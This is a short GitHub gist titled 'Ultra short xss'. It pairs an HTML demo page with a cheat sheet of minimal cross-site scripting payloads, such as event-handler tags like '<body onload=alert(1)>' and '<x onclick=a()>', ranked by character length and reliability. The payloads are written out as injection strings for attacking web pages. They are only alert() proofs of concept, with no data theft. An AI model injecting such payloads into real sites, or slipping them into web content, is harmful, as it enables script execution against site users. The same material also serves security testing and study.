Created
April 16, 2012 16:52
-
-
Save btoews/2399929 to your computer and use it in GitHub Desktop.
Ultra short xss
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>xss example</title> | |
<script> | |
//my awesome js | |
function a(){alert(1)} | |
</script> | |
</head> | |
<body> | |
<!-- XSS Injected here --> | |
<x onclick=alert(1)> | |
<b onkeyup=alert(1)> | |
<x onclick=a()> | |
<b onkeyup=a()> | |
<body onload=a()> | |
<!-- End XSS Injection --> | |
<h1>XSS ROCKS</h1> | |
<p>click me</p> | |
<form> | |
<input value='try typing in here'> | |
</form> | |
</body> | |
</html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Most Dependable (22 chars) --> | |
<body onload=alert(1)> | |
<!-- Short XSS (20 chars) --> | |
<x onclick=alert(1)> | |
<b onkeyup=alert(1)> | |
<!-- Really short (15 chars) - assumes they have a function called 'a'. Would work with JQuery's '$' though...--> | |
<!-- Their code: --> | |
function a(){alert(123)} | |
<!-- Your code: --> | |
<x onclick=a()> | |
<b onkeyup=a()> | |
<!-- Or (17 chars) --> | |
<body onload=a()> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment